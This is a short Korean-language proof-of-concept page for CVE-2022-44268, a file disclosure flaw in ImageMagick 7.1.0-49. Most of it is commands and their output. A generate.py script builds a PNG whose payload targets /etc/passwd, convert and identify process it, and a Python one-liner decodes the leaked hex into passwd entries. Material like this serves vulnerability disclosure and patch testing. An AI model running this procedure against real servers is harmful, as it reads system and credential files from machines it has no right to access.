
ImageMagick LFI PoC [CVE-2022-44268]
MetabaseQ 연구진이 MetabaseQ에서 CVE-2022-44268을 발견했습니다. 즉, ImageMagick 7.1.0-49는 정보 노출(Information Disclosure)에 취약합니다. PNG 이미지를 파싱할 때(예: 크기 조정), 결과 이미지에 임의의 원격 파일 내용이 포함될 수 있습니다(ImageMagick 바이너리가 해당 파일을 읽을 권한이 있는 경우).
(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
(~)>>> convert exploit.png result.png
(~)>>> identify -verbose result.png
Raw profile type 필드에 반환된 데이터를 디코딩하면 /etc/passwd의 내용을 확인할 수 있습니다:(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin